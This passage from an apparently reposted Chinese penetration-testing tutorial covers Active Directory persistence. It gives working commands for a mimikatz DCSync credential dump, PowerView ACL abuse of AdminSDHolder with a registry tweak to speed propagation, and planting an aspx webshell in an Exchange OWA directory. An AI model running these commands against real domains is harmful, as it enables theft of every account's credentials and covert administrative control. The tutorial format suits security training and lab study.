在域内一台登录了sqladmin用户的主机上面，就能使用mimikatz的DCSync功能

mimikatz.exe privilege::debug "lsadump::dcsync /domain:0day.org /all /csv" exit

1568203197954

9.AdminSDHolder

AdminSDHolder是一个特殊的AD容器，具有一些默认安全权限，用作受保护的AD账户和组的模板

Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组，以防止意外和无意的修改并确保对这些对象的访问是安全的

如果能够修改AdminSDHolder对象的ACL，那么修改的权限将自动应用于所有受保护的AD账户和组，这可以作为一个域环境权限维持的方法

向AdminSDHolder对象添加ACL

使用PowerView，添加用户dbadmin 的完全访问权限

Add-ObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org"  -PrincipalIdentity dbadmin -Verbose -Rights All

1568215397075

默认等待60分钟以后，dbadmin获得对所有受保护的AD账户和组的完全访问权限

可以通过修改注册表的方式设置权限推送的间隔时间，注册表位置如下：

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD

例如修改成等待60秒的命令如下：

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

1568215431765

dbadmin用户可以直接访问域控。

1568215569041

删除AdminSDHolder中指定用户的ACL

删除用户dbadmin的完全访问权限，命令如下

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org" -PrincipalIdentity dbadmin -Rights All -Verbose

非常规方法

若域控主机为owa主机，即exchange服务器主机，我们可以在owa目录下留一个aspx的木马。用作维持权限。

在如下目录中加入一个aspx木马。

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

1568213801260



域环境下载

链接：https://pan.baidu.com/s/1j7OgZ3pOnSNxBCHbnUZ4SQ 提取码：z7m8

【推广】 免费学中医，健康全家人
原文地址：https://www.cnblogs.com/backlion/p/15652052.html